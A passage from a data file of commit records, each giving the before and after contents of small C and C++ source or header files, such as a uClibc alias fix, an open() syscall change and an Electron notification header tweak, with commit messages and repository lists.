ghc,da-x\/ghc,gridaphobe\/ghc,sgillespie\/ghc,TomMD\/ghc,mettekou\/ghc,vikraman\/ghc,GaloisInc\/halvm-ghc,elieux\/ghc,forked-upstream-packages-for-ghcjs\/ghc,mfine\/ghc,nkaretnikov\/ghc,tjakway\/ghcjvm,frantisekfarka\/ghc-dsi,gcampax\/ghc,shlevy\/ghc,olsner\/ghc,mcschroeder\/ghc,ml9951\/ghc,christiaanb\/ghc,ghc-android\/ghc,ml9951\/ghc,shlevy\/ghc,nathyong\/microghc-ghc,anton-dessiatov\/ghc,tibbe\/ghc,olsner\/ghc,forked-upstream-packages-for-ghcjs\/ghc,siddhanathan\/ghc,urbanslug\/ghc,shlevy\/ghc,siddhanathan\/ghc,mettekou\/ghc,snoyberg\/ghc,AlexanderPankiv\/ghc,acowley\/ghc,da-x\/ghc,nkaretnikov\/ghc,snoyberg\/ghc,ezyang\/ghc,mcschroeder\/ghc,wxwxwwxxx\/ghc,GaloisInc\/halvm-ghc,nkaretnikov\/ghc,elieux\/ghc,acowley\/ghc,elieux\/ghc,da-x\/ghc,tjakway\/ghcjvm,anton-dessiatov\/ghc,mfine\/ghc,acowley\/ghc,da-x\/ghc,green-haskell\/ghc,gcampax\/ghc,GaloisInc\/halvm-ghc,christiaanb\/ghc,olsner\/ghc,mfine\/ghc,anton-dessiatov\/ghc,fmthoma\/ghc,frantisekfarka\/ghc-dsi,fmthoma\/ghc,forked-upstream-packages-for-ghcjs\/ghc,ml9951\/ghc,da-x\/ghc,fmthoma\/ghc,sdiehl\/ghc,nathyong\/microghc-ghc,lukexi\/ghc,siddhanathan\/ghc,ezyang\/ghc,nkaretnikov\/ghc,sdiehl\/ghc,anton-dessiatov\/ghc,anton-dessiatov\/ghc,elieux\/ghc,holzensp\/ghc,snoyberg\/ghc,vTurbine\/ghc,ryantm\/ghc,mettekou\/ghc,spacekitteh\/smcghc,vTurbine\/ghc,TomMD\/ghc,urbanslug\/ghc,sgillespie\/ghc,snoyberg\/ghc,nushio3\/ghc,frantisekfarka\/ghc-dsi,oldmanmike\/ghc,ghc-android\/ghc,vikraman\/ghc,nushio3\/ghc,jstolarek\/ghc,AlexanderPankiv\/ghc,jstolarek\/ghc,TomMD\/ghc"}
{"commit":"c1e92e075a259543719f7410290aeaffefe783b2","old_file":"include\/Map.h","new_file":"include\/Map.h","old_contents":"#ifndef LAND_H\n#define LAND_H\n\n#include <string>\n#include \"Plant.h\"\n\nclass Land\n{\n\tpublic:\n\t\t~Land();\n\t\tconst std::string getPlantName() const { return isStood_? plant_->getName() : \"Empty\"; }\n\t\tbool put(Plant & plant);\n        bool getStood()const{return isStood_;}\n\n\tprivate:\n\t\tPlant * plant_ = nullptr;\n\t\tbool isStood_ = false;\n};\n\n#endif \/\/ LAND_H\n\n#ifndef MAP_H\n#define MAP_H\n\n#include <vector>\n\nclass Map\n{\n\tpublic:\n\t\t\/\/ with this constructor, you could get a map with [land_num] empty land\n\t\tMap(int land_num);\n\n\t\tLand operator[] (int i) { return lands_[i]; }\n\t\tconst Land operator[] (int i) const { return lands_[i]; }\n\n\t\tint size() { return lands_.size(); }\n\t\tbool put(Plant & plant, int position) { return lands_[position].put(plant); }\n\n\tprivate:\n\t\tconstexpr static int max_land_num = 10;\n\t\tstd::vector<Land> lands_;\n};\n\n#endif \/\/ MAP_H\n","new_contents":"#ifndef LAND_H\n#define LAND_H\n\n#include <string>\n#include \"Plant.h\"\n\nclass Land\n{\n\tpublic:\n\t\t~Land();\n\t\tbool put(Plant & plant);\n\t\tbool getStood()const{return isStood_;}\n\t\tPlant & getPlant() { return *plant_; }\n\t\tconst Plant & getPlant() const { return *plant_; }\n\n\tprivate:\n\t\tPlant * plant_ = nullptr;\n\t\tbool isStood_ = false;\n};\n\n#endif \/\/ LAND_H\n\n#ifndef MAP_H\n#define MAP_H\n\n#include <vector>\n\nclass Map\n{\n\tpublic:\n\t\t\/\/ with this constructor, you could get a map with [land_num] empty land\n\t\tMap(int land_num);\n\n\t\tLand operator[] (int i) { return lands_[i]; }\n\t\tconst Land operator[] (int i) const { return lands_[i]; }\n\n\t\tint size() { return lands_.size(); }\n\t\tbool put(Plant & plant, int position) { return lands_[position].put(plant); }\n\n\tprivate:\n\t\tconstexpr static int max_land_num = 10;\n\t\tstd::vector<Land> lands_;\n};\n\n#endif \/\/ MAP_H\n","subject":"Remove getPlantName metohod & Add getPlant mathod","message":"Remove getPlantName metohod & Add getPlant mathod\n","lang":"C","license":"mit","repos":"wi1d5ky\/AP-Team-Project"}
{"commit":"b3f4c5d49830a8ef77ec1d74e8100fe3cc561230","old_file":"include\/api\/ofp_odp_compat.h","new_file":"include\/api\/ofp_odp_compat.h","old_contents":"\/* Copyright (c) 2015, ENEA Software AB\n * Copyright (c) 2015, Nokia\n * All rights reserved.\n *\n * SPDX-License-Identifier:     BSD-3-Clause\n *\/\n\n#ifndef __OFP_ODP_COMPAT__\n#define __OFP_ODP_COMPAT__\n\n#if ODP_VERSION == 102\n#include \"linux.h\"\n#else\n#include \"odp\/helper\/linux.h\"\n#endif \/* odp_version == 102 *\/\n\n#if ODP_VERSION < 105\ntypedef uint64_t odp_time_t;\n#endif \/* ODP_VERSION < 105 *\/\n\n#if ODP_VERSION < 104 && ODP_VERSION > 101\n#define odp_cpumask_default_worker(cpumask, num_workers) odp_cpumask_def_worker(cpumask, num_workers)\n#elif ODP_VERSION < 102\n#define odp_cpumask_default_worker(cpumask, num_workers) odp_cpumask_count(cpumask)\n#define ODP_THREAD_WORKER\n#define ODP_THREAD_CONTROL\n#endif\n\n#endif","new_contents":"\/* Copyright (c) 2015, ENEA Software AB\n * Copyright (c) 2015, Nokia\n * All rights reserved.\n *\n * SPDX-License-Identifier:     BSD-3-Clause\n *\/\n\n#ifndef __OFP_ODP_COMPAT__\n#define __OFP_ODP_COMPAT__\n\n#if ODP_VERSION == 102\n#include \"linux.h\"\n#else\n#include \"odp\/helper\/linux.h\"\n#endif \/* odp_version == 102 *\/\n\n#if ODP_VERSION < 105\ntypedef uint64_t odp_time_t;\n#endif \/* ODP_VERSION < 105 *\/\n\n#if ODP_VERSION < 104 && ODP_VERSION > 101\n#define odp_cpumask_default_worker(cpumask, num_workers) odp_cpumask_def_worker(cpumask, num_workers)\n#elif ODP_VERSION < 102\n#define odp_cpumask_default_worker(cpumask, num_workers) odp_cpumask_count(cpumask)\n#define odp_init_local(x) odp_init_local()\n#define ODP_THREAD_WORKER 0\n#define ODP_THREAD_CONTROL 1\n#endif\n\n#endif","subject":"Define ODP_THREAD_WORKER and ODP_THREAD_CONTROL as in it's original enum, instead of mangling them.","message":"Define ODP_THREAD_WORKER and ODP_THREAD_CONTROL as in it's original enum, instead of mangling them.\n\nDefining odp_init_local like this we can initialized properly the\nvalues of ODP_THREAD_WORKER and ODP_THREAD_CONTROL. This is important\nfor the following patch where we need to define odp_threat_type_t.\n\nSigned-off-by: José Pekkarinen <d7cb8761fb0e75b1a78c2fda4f1daed76cd46cfe@nokia.com>\nReviewed-and-tested-by: Sorin Vultureanu <8013ba55f8675034bc2ab0d6c3a1c9650437ca36@enea.com>\n","lang":"C","license":"bsd-3-clause","repos":"OpenFastPath\/ofp,OpenFastPath\/ofp,OpenFastPath\/ofp,TolikH\/ofp,TolikH\/ofp,OpenFastPath\/ofp,TolikH\/ofp"}
{"commit":"00126c32c776459b75e5d2bfaba28bd261c1510a","old_file":"h5py\/api_compat.h","new_file":"h5py\/api_compat.h","old_contents":"\/***** Preamble block *********************************************************\n* \n* This file is part of h5py, a Python interface to the HDF5 library.\n*\n* http:\/\/www.h5py.org\n*\n* Copyright 2008-2013 Andrew Collette and contributors\n*\n* License:  Standard 3-clause BSD; see \"license.txt\" for full license terms\n*           and contributor agreement.\n* \n****** End preamble block ****************************************************\/\n\n\/* Contains compatibility macros and definitions for use by Cython code *\/\n\n#ifndef H5PY_COMPAT\n#define H5PY_COMPAT\n\n#include <stddef.h>\n#include \"Python.h\"\n#include \"numpy\/arrayobject.h\"\n#include \"hdf5.h\"\n\n\/* The HOFFSET macro can't be used from Cython. *\/\n\n#define h5py_size_n64 (sizeof(npy_complex64))\n#define h5py_size_n128 (sizeof(npy_complex128))\n\n#define h5py_offset_n64_real (HOFFSET(npy_complex64, real))\n#define h5py_offset_n64_imag (HOFFSET(npy_complex64, imag))\n#define h5py_offset_n128_real (HOFFSET(npy_complex128, real))\n#define h5py_offset_n128_imag (HOFFSET(npy_complex128, imag))\n\n#endif\n\n","new_contents":"\/***** Preamble block *********************************************************\n* \n* This file is part of h5py, a Python interface to the HDF5 library.\n*\n* http:\/\/www.h5py.org\n*\n* Copyright 2008-2013 Andrew Collette and contributors\n*\n* License:  Standard 3-clause BSD; see \"license.txt\" for full license terms\n*           and contributor agreement.\n* \n****** End preamble block ****************************************************\/\n\n\/* Contains compatibility macros and definitions for use by Cython code *\/\n\n#ifndef H5PY_COMPAT\n#define H5PY_COMPAT\n\n#if (MPI_VERSION < 3) && !defined(PyMPI_HAVE_MPI_Message)\ntypedef void *PyMPI_MPI_Message;\n#define MPI_Message PyMPI_MPI_Message\n#endif\n\n#include <stddef.h>\n#include \"Python.h\"\n#include \"numpy\/arrayobject.h\"\n#include \"hdf5.h\"\n\n\/* The HOFFSET macro can't be used from Cython. *\/\n\n#define h5py_size_n64 (sizeof(npy_complex64))\n#define h5py_size_n128 (sizeof(npy_complex128))\n\n#define h5py_offset_n64_real (HOFFSET(npy_complex64, real))\n#define h5py_offset_n64_imag (HOFFSET(npy_complex64, imag))\n#define h5py_offset_n128_real (HOFFSET(npy_complex128, real))\n#define h5py_offset_n128_imag (HOFFSET(npy_complex128, imag))\n\n#endif\n\n","subject":"Add conditional definition of PyMPI_MPI_Message and MPI_Message PyMPI_MPI_Message. This is needed for MPI_VERSION<3 and a recent version of mpi4py.","message":"Add conditional definition of PyMPI_MPI_Message and MPI_Message PyMPI_MPI_Message. This is needed for MPI_VERSION<3 and a recent version of mpi4py.\n\nFollows gh-401 https:\/\/groups.google.com\/d\/topic\/h5py\/Uw5x3BKwJGU\/discussion and https:\/\/groups.google.com\/d\/topic\/mpi4py\/xnDyYvawB-Q\/discussion.\n","lang":"C","license":"bsd-3-clause","repos":"h5py\/h5py,h5py\/h5py,h5py\/h5py"}
{"commit":"7a79b1da0c124fb642658c3698a38fdd9e77eb01","old_file":"libc\/string\/strlcpy.c","new_file":"libc\/string\/strlcpy.c","old_contents":"\/*\n * Copyright (C) 2000-2005 Erik Andersen <andersen@uclibc.org>\n *\n * Licensed under the LGPL v2.1, see the file COPYING.LIB in this tarball.\n *\/\n\n#define L_strlcpy\n#define Wstrlcpy __strlcpy\n\n#include \"wstring.c\"\n\nstrong_alias(__strlcpy, strlcpy)\n\n#ifdef __LOCALE_C_ONLY\nweak_alias(strlcpy, strxfrm)\n#endif\n\n#undef L_strlcpy\n","new_contents":"\/*\n * Copyright (C) 2000-2005 Erik Andersen <andersen@uclibc.org>\n *\n * Licensed under the LGPL v2.1, see the file COPYING.LIB in this tarball.\n *\/\n\n#define L_strlcpy\n#define Wstrlcpy __strlcpy\n\n#include \"wstring.c\"\n\nstrong_alias(__strlcpy, strlcpy)\n\n#ifdef __LOCALE_C_ONLY\nweak_alias(__strlcpy, __strxfrm)\nstrong_alias(__strxfrm, strxfrm)\n#endif\n\n#undef L_strlcpy\n","subject":"Use correct syntax, correct weak\/strong for [__]strxfrm","message":"Use correct syntax, correct weak\/strong for [__]strxfrm\n","lang":"C","license":"lgpl-2.1","repos":"hjl-tools\/uClibc,klee\/klee-uclibc,ChickenRunjyd\/klee-uclibc,kraj\/uClibc,kraj\/uclibc-ng,gittup\/uClibc,groundwater\/uClibc,waweber\/uclibc-clang,ddcc\/klee-uclibc-0.9.33.2,foss-xtensa\/uClibc,ndmsystems\/uClibc,mephi42\/uClibc,waweber\/uclibc-clang,majek\/uclibc-vx32,hjl-tools\/uClibc,waweber\/uclibc-clang,kraj\/uclibc-ng,atgreen\/uClibc-moxie,ffainelli\/uClibc,skristiansson\/uClibc-or1k,foss-xtensa\/uClibc,czankel\/xtensa-uclibc,ffainelli\/uClibc,hwoarang\/uClibc,groundwater\/uClibc,groundwater\/uClibc,hjl-tools\/uClibc,ChickenRunjyd\/klee-uclibc,foss-for-synopsys-dwc-arc-processors\/uClibc,ndmsystems\/uClibc,groundwater\/uClibc,ffainelli\/uClibc,ChickenRunjyd\/klee-uclibc,wbx-github\/uclibc-ng,hwoarang\/uClibc,ndmsystems\/uClibc,atgreen\/uClibc-moxie,gittup\/uClibc,majek\/uclibc-vx32,m-labs\/uclibc-lm32,foss-for-synopsys-dwc-arc-processors\/uClibc,ChickenRunjyd\/klee-uclibc,brgl\/uclibc-ng,skristiansson\/uClibc-or1k,mephi42\/uClibc,ddcc\/klee-uclibc-0.9.33.2,brgl\/uclibc-ng,kraj\/uclibc-ng,klee\/klee-uclibc,hjl-tools\/uClibc,brgl\/uclibc-ng,majek\/uclibc-vx32,atgreen\/uClibc-moxie,wbx-github\/uclibc-ng,foss-xtensa\/uClibc,czankel\/xtensa-uclibc,foss-xtensa\/uClibc,kraj\/uClibc,OpenInkpot-archive\/iplinux-uclibc,skristiansson\/uClibc-or1k,OpenInkpot-archive\/iplinux-uclibc,hwoarang\/uClibc,kraj\/uclibc-ng,czankel\/xtensa-uclibc,majek\/uclibc-vx32,gittup\/uClibc,OpenInkpot-archive\/iplinux-uclibc,mephi42\/uClibc,foss-for-synopsys-dwc-arc-processors\/uClibc,atgreen\/uClibc-moxie,brgl\/uclibc-ng,hwoarang\/uClibc,wbx-github\/uclibc-ng,m-labs\/uclibc-lm32,ysat0\/uClibc,ffainelli\/uClibc,OpenInkpot-archive\/iplinux-uclibc,ddcc\/klee-uclibc-0.9.33.2,waweber\/uclibc-clang,m-labs\/uclibc-lm32,czankel\/xtensa-uclibc,ndmsystems\/uClibc,kraj\/uClibc,m-labs\/uclibc-lm32,hjl-tools\/uClibc,ffainelli\/uClibc,ysat0\/uClibc,groundwater\/uClibc,foss-for-synopsys-dwc-arc-processors\/uClibc,skristiansson\/uClibc-or1k,ysat0\/uClibc,mephi42\/uClibc,ddcc\/klee-uclibc-0.9.33.2,klee\/klee-uclibc,gittup\/uClibc,klee\/klee-uclibc,wbx-github\/uclibc-ng,ysat0\/uClibc,kraj\/uClibc"}
{"commit":"3b4851ccd8e04b2db4127ced955cbfecb1e99786","old_file":"libc\/string\/strlcpy.c","new_file":"libc\/string\/strlcpy.c","old_contents":"\/*\n * Copyright (C) 2000-2005 Erik Andersen <andersen@uclibc.org>\n *\n * Licensed under the LGPL v2.1, see the file COPYING.LIB in this tarball.\n *\/\n\n#define L_strlcpy\n#define Wstrlcpy __strlcpy\n\n#include \"wstring.c\"\n\nstrong_alias(__strlcpy, strlcpy)\n\n#ifdef __LOCALE_C_ONLY\nweak_alias(strlcpy, strxfrm)\n#endif\n\n#undef L_strlcpy\n","new_contents":"\/*\n * Copyright (C) 2000-2005 Erik Andersen <andersen@uclibc.org>\n *\n * Licensed under the LGPL v2.1, see the file COPYING.LIB in this tarball.\n *\/\n\n#define L_strlcpy\n#define Wstrlcpy __strlcpy\n\n#include \"wstring.c\"\n\nstrong_alias(__strlcpy, strlcpy)\n\n#ifdef __LOCALE_C_ONLY\nweak_alias(__strlcpy, __strxfrm)\nstrong_alias(__strxfrm, strxfrm)\n#endif\n\n#undef L_strlcpy\n","subject":"Use correct syntax, correct weak\/strong for [__]strxfrm","message":"Use correct syntax, correct weak\/strong for [__]strxfrm\n","lang":"C","license":"lgpl-2.1","repos":"joel-porquet\/tsar-uclibc,joel-porquet\/tsar-uclibc,joel-porquet\/tsar-uclibc,joel-porquet\/tsar-uclibc"}
{"commit":"e44bcd18b20baba5fa95000415440f83c36a9599","old_file":"libk\/src\/hook\/fcntl.c","new_file":"libk\/src\/hook\/fcntl.c","old_contents":"#include <fcntl.h>\n#include <k\/sys.h>\n\nint open(const char *path, int oflag, ...) {\n    return MAKE_SYSCALL(open, path, oflag);\n}\n\nint fcntl(int fildes, int cmd, ...) {\n    \/\/FIXME for bash\n    return MAKE_SYSCALL(unimplemented, \"fcntl\", false);\n}\n","new_contents":"#include <fcntl.h>\n#include <stdarg.h>\n#include <k\/sys.h>\n\nint open(const char *path, int oflag, ...) {\n    int mode = 0;\n    if(oflag & O_CREAT) {\n        va_list va;\n        va_start(va, oflag);\n        mode = va_arg(va, int);\n        va_end(va);\n    }\n    return MAKE_SYSCALL(open, path, oflag, mode);\n}\n\nint fcntl(int fildes, int cmd, ...) {\n    \/\/FIXME for bash\n    return MAKE_SYSCALL(unimplemented, \"fcntl\", false);\n}\n","subject":"Fix open() syscall in libk","message":"Fix open() syscall in libk\n","lang":"C","license":"bsd-2-clause","repos":"escortkeel\/k-os,escortkeel\/k-os,escortkeel\/k-os"}
{"commit":"227a2bd5dc57ee93bf4b4ea9e3a2c8837e629f51","old_file":"brightray\/browser\/mac\/cocoa_notification.h","new_file":"brightray\/browser\/mac\/cocoa_notification.h","old_contents":"\/\/ Copyright (c) 2015 GitHub, Inc.\n\/\/ Use of this source code is governed by the MIT license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef BRIGHTRAY_BROWSER_MAC_COCOA_NOTIFICATION_H_\n#define BRIGHTRAY_BROWSER_MAC_COCOA_NOTIFICATION_H_\n\n#import <Foundation\/Foundation.h>\n\n#include <string>\n\n#include \"base\/mac\/scoped_nsobject.h\"\n#include \"brightray\/browser\/notification.h\"\n\nnamespace brightray {\n\nclass CocoaNotification : public Notification {\n public:\n  CocoaNotification(NotificationDelegate* delegate,\n                    NotificationPresenter* presenter);\n  ~CocoaNotification();\n\n  \/\/ Notification:\n  void Show(const base::string16& title,\n            const base::string16& msg,\n            const std::string& tag,\n            const GURL& icon_url,\n            const SkBitmap& icon,\n            bool silent,\n            const bool has_reply,\n            const base::string16 reply_placeholder) override;\n  void Dismiss() override;\n\n  void NotificationDisplayed();\n  void NotificationReplied(const std::string reply);\n\n  NSUserNotification* notification() const { return notification_; }\n\n private:\n  base::scoped_nsobject<NSUserNotification> notification_;\n\n  DISALLOW_COPY_AND_ASSIGN(CocoaNotification);\n};\n\n}  \/\/ namespace brightray\n\n#endif  \/\/ BRIGHTRAY_BROWSER_MAC_COCOA_NOTIFICATION_H_\n","new_contents":"\/\/ Copyright (c) 2015 GitHub, Inc.\n\/\/ Use of this source code is governed by the MIT license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef BRIGHTRAY_BROWSER_MAC_COCOA_NOTIFICATION_H_\n#define BRIGHTRAY_BROWSER_MAC_COCOA_NOTIFICATION_H_\n\n#import <Foundation\/Foundation.h>\n\n#include <string>\n\n#include \"base\/mac\/scoped_nsobject.h\"\n#include \"brightray\/browser\/notification.h\"\n\nnamespace brightray {\n\nclass CocoaNotification : public Notification {\n public:\n  CocoaNotification(NotificationDelegate* delegate,\n                    NotificationPresenter* presenter);\n  ~CocoaNotification();\n\n  \/\/ Notification:\n  void Show(const base::string16& title,\n            const base::string16& msg,\n            const std::string& tag,\n            const GURL& icon_url,\n            const SkBitmap& icon,\n            bool silent,\n            const bool has_reply,\n            const base::string16& reply_placeholder) override;\n  void Dismiss() override;\n\n  void NotificationDisplayed();\n  void NotificationReplied(const std::string reply);\n\n  NSUserNotification* notification() const { return notification_; }\n\n private:\n  base::scoped_nsobject<NSUserNotification> notification_;\n\n  DISALLOW_COPY_AND_ASSIGN(CocoaNotification);\n};\n\n}  \/\/ namespace brightray\n\n#endif  \/\/ BRIGHTRAY_BROWSER_MAC_COCOA_NOTIFICATION_H_\n","subject":"Fix reference typed reply placeholder","message":"Fix reference typed reply placeholder\n","lang":"C","license":"mit","repos":"bpasero\/electron,thomsonreuters\/electron,gerhardberger\/electron,the-ress\/electron,thomsonreuters\/electron,gerhardberger\/electron,wan-qy\/electron,renaesop\/electron,seanchas116\/electron,tonyganch\/electron,electron\/electron,wan-qy\/electron,the-ress\/electron,thomsonreuters\/electron,electron\/electron,gerhardberger\/electron,Floato\/electron,bpasero\/electron,electron\/electron,renaesop\/electron,the-ress\/electron,seanchas116\/electron,gerhardberger\/electron,bpasero\/electron,thomsonreuters\/electron,gerhardberger\/electron,electron\/electron,wan-qy\/electron,Floato\/electron,wan-qy\/electron,seanchas116\/electron,electron\/electron,shiftkey\/electron,seanchas116\/electron,the-ress\/electron,the-ress\/electron,renaesop\/electron,shiftkey\/electron,wan-qy\/electron,electron\/electron,bpasero\/electron,seanchas116\/electron,bpasero\/electron,tonyganch\/electron,tonyganch\/electron,tonyganch\/electron,shiftkey\/electron,shiftkey\/electron,seanchas116\/electron,shiftkey\/electron,thomsonreuters\/electron,Floato\/electron,wan-qy\/electron,renaesop\/electron,Floato\/electron,shiftkey\/electron,gerhardberger\/electron,Floato\/electron,Floato\/electron,the-ress\/electron,tonyganch\/electron,gerhardberger\/electron,renaesop\/electron,bpasero\/electron,bpasero\/electron,renaesop\/electron,the-ress\/electron,electron\/electron,tonyganch\/electron,thomsonreuters\/electron"}
{"commit":"858230f4528ad2f418f97414e3a8be46865c367c","old_file":"include\/math_defs.h","new_file":"include\/math_defs.h","old_contents":"#ifndef AL_MATH_DEFS_H\n#define AL_MATH_DEFS_H\n\n#define F_PI    (3.14159265358979323846f)\n#define F_PI_2  (1.57079632679489661923f)\n#define F_TAU   (6.28318530717958647692f)\n\n#ifndef FLT_EPSILON\n#define FLT_EPSILON (1.19209290e-07f)\n#endif\n\n#define DEG2RAD(x)  ((ALfloat)(x) * (F_PI\/180.0f))\n#define RAD2DEG(x)  ((ALfloat)(x) * (180.0f\/F_PI))\n\n#endif \/* AL_MATH_DEFS_H *\/\n","new_contents":"#ifndef AL_MATH_DEFS_H\n#define AL_MATH_DEFS_H\n\n#ifdef HAVE_FLOAT_H\n#include <float.h>\n#endif\n\n#define F_PI    (3.14159265358979323846f)\n#define F_PI_2  (1.57079632679489661923f)\n#define F_TAU   (6.28318530717958647692f)\n\n#ifndef FLT_EPSILON\n#define FLT_EPSILON (1.19209290e-07f)\n#endif\n\n#define DEG2RAD(x)  ((ALfloat)(x) * (F_PI\/180.0f))\n#define RAD2DEG(x)  ((ALfloat)(x) * (180.0f\/F_PI))\n\n#endif \/* AL_MATH_DEFS_H *\/\n","subject":"Include float.h if present before defining math stuff","message":"Include float.h if present before defining math stuff\n","lang":"C","license":"lgpl-2.1","repos":"aaronmjacobs\/openal-soft,alexxvk\/openal-soft,alexxvk\/openal-soft,aaronmjacobs\/openal-soft"}
{"commit":"f7036947f47d7467af288fcc5523e88e21693207","old_file":"lib\/lh5_decoder.h","new_file":"lib\/lh5_decoder.h","old_contents":"","new_contents":"\/*\n\nCopyright (c) 2011, Simon Howard\n\nPermission to use, copy, modify, and\/or distribute this software\nfor any purpose with or without fee is hereby granted, provided\nthat the above copyright notice and this permission notice appear\nin all copies.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL\nWARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED\nWARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE\nAUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR\nCONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM\nLOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT,\nNEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN\nCONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n\n *\/\n\n#ifndef LHASA_LHA_LH5_DECODER_H\n#define LHASA_LHA_LH5_DECODER_H\n\n#include \"lha_decoder.h\"\n\nextern LHADecoderType lha_lh5_decoder;\n\n#endif \/* #ifndef LHASA_LHA_LH5_DECODER_H *\/\n\n","subject":"Add missing header for -lh5- decoder.","message":"Add missing header for -lh5- decoder.\n","lang":"C","license":"isc","repos":"fragglet\/lhasa,fragglet\/lhasa,fragglet\/lhasa"}
{"commit":"43d02e8878a075f2affa41f972c0088ee93f6e8e","old_file":"lib\/haka\/regexp_module.c","new_file":"lib\/haka\/regexp_module.c","old_contents":"\/* This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/. *\/\n\n#include <haka\/error.h>\n#include <haka\/regexp_module.h>\n\nstruct regexp_module *regexp_module_load(const char *module_name, struct parameters *args) {\n\tstruct module *module = module_load(module_name, args);\n\tif (module == NULL || module->type != MODULE_REGEXP) {\n\t\tif (module != NULL) module_release(module);\n\t\terror(L\"Module %s is not of type MODULE_REGEXP\", module_name);\n\t\treturn NULL;\n\t}\n\n\treturn (struct regexp_module *)module;\n}\n\nvoid regexp_module_release(struct regexp_module *module)\n{\n\tmodule_release((struct module *)module);\n}\n","new_contents":"\/* This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/. *\/\n\n#include <haka\/error.h>\n#include <haka\/regexp_module.h>\n\nstruct regexp_module *regexp_module_load(const char *module_name, struct parameters *args) {\n\tstruct module *module = module_load(module_name, args);\n\tif (module == NULL || module->type != MODULE_REGEXP) {\n\t\tif (module != NULL) module_release(module);\n\t\terror(L\"Module %s is not of type MODULE_REGEXP\", module_name);\n\t\treturn NULL;\n\t}\n\n\treturn (struct regexp_module *)module;\n}\n\nvoid regexp_module_release(struct regexp_module *module)\n{\n\tmodule_release(&module->module);\n}\n","subject":"Replace cast by safer access","message":"Replace cast by safer access\n","lang":"C","license":"mpl-2.0","repos":"nabilbendafi\/haka,haka-security\/haka,lcheylus\/haka,nabilbendafi\/haka,LubyRuffy\/haka,Wingless-Archangel\/haka,lcheylus\/haka,haka-security\/haka,haka-security\/haka,Wingless-Archangel\/haka,nabilbendafi\/haka,LubyRuffy\/haka,lcheylus\/haka"}
{"commit":"3fdc17f34aed6c08c6803dd91db59dc2971df9b6","old_file":"add.c","new_file":"add.c","old_contents":"\n#include \"cx\/fileb.h\"\n\nstatic real\nsum_line (FileB* f)\n{\n    real x = 0, y = 0;\n    while (load_real_FileB (f, &y))\n        x += y;\n    return x;\n}\n\nint main ()\n{\n    DecloStack( FileB, f );\n    FILE* in = stdin;\n    FILE* out = stdout;\n\n    init_FileB (f);\n    f->f = in;\n    f->byline = true;\n\n    while (getline_FileB (f))\n    {\n        FileB olay;\n        real x;\n\n        olay_FileB (&olay, f);\n        x = sum_line (&olay);\n        fprintf (out, \"%f\\n\", x);\n        fflush (out);\n    }\n\n    return 0;\n}\n\n","new_contents":"\n#include \"cx\/fileb.h\"\n\nstatic real\nsum_line (FileB* f)\n{\n    real x = 0, y = 0;\n    while (load_real_FileB (f, &y))\n        x += y;\n    f->good = true;\n    skipds_FileB (f, 0);\n    if (cstr_FileB (f) [0] != '\\0')\n        fputs (\"Line is no good!\\n\", stderr);\n    return x;\n}\n\nint main ()\n{\n    DecloStack( FileB, f );\n    FILE* in = stdin;\n    FILE* out = stdout;\n\n    init_FileB (f);\n    f->f = in;\n    f->byline = true;\n\n    while (getline_FileB (f))\n    {\n        FileB olay;\n        real x;\n\n        olay_FileB (&olay, f);\n        x = sum_line (&olay);\n        fprintf (out, \"%f\\n\", x);\n        fflush (out);\n    }\n\n    return 0;\n}\n\n","subject":"Add utility gives a warning on bad parse","message":"Add utility gives a warning on bad parse\n","lang":"C","license":"isc","repos":"grencez\/lace,grencez\/lace"}
{"commit":"57617193daeecc6ec6adf1057dbd687464558259","old_file":"demo1\/src\/demo\/object\/itickable.h","new_file":"demo1\/src\/demo\/object\/itickable.h","old_contents":"\/\/ itickable.h\n\/\/\n\/\/ Interface definition of an object that is updated during the tick cycle.\n\/\/\n#ifndef DEMO_ITICKABLE_H\n#define DEMO_ITICKABLE_H\n\nnamespace demo\n{\n\nnamespace obj\n{\n\nclass ITickable\n{\n  public:\n    \/\/ CONSTRUCTORS\n    ~ITickable();\n\n    \/\/ MEMBER FUNCTIONS\n    \/**\n     * Prepare for the next tick cycle.\n     *\/\n    virtual void preTick() = 0;\n\n    \/**\n     * Update the object.\n     * @param dt The elapsed time.\n     *\/\n    virtual void tick( float dt ) = 0;\n\n    \/**\n     * Clean up after the tick cycle.\n     *\/\n    virtual void postTick() = 0;\n};\n\n\/\/ CONSTRUCTORS\nITickable::~ITickable()\n{\n}\n\n} \/\/ End nspc obj\n\n} \/\/ End nspc demo\n\n#endif \/\/ DEMO_ITICKABLE_H\n","new_contents":"\/\/ itickable.h\n\/\/\n\/\/ Interface definition of an object that is updated during the tick cycle.\n\/\/\n#ifndef DEMO_ITICKABLE_H\n#define DEMO_ITICKABLE_H\n\nnamespace demo\n{\n\nnamespace obj\n{\n\nclass ITickable\n{\n  public:\n    \/\/ CONSTRUCTORS\n    \/**\n     * Destruct the tickable.\n     *\/\n    ~ITickable();\n\n    \/\/ MEMBER FUNCTIONS\n    \/**\n     * Prepare for the next tick cycle.\n     *\/\n    virtual void preTick() = 0;\n\n    \/**\n     * Update the object.\n     * @param dt The elapsed time in seconds.\n     *\/\n    virtual void tick( float dt ) = 0;\n\n    \/**\n     * Clean up after the tick cycle.\n     *\/\n    virtual void postTick() = 0;\n};\n\n\/\/ CONSTRUCTORS\ninline\nITickable::~ITickable()\n{\n}\n\n} \/\/ End nspc obj\n\n} \/\/ End nspc demo\n\n#endif \/\/ DEMO_ITICKABLE_H\n","subject":"Clean up the tickable definition.","message":"Clean up the tickable definition.\n","lang":"C","license":"mit","repos":"invaderjon\/demo,invaderjon\/demo"}
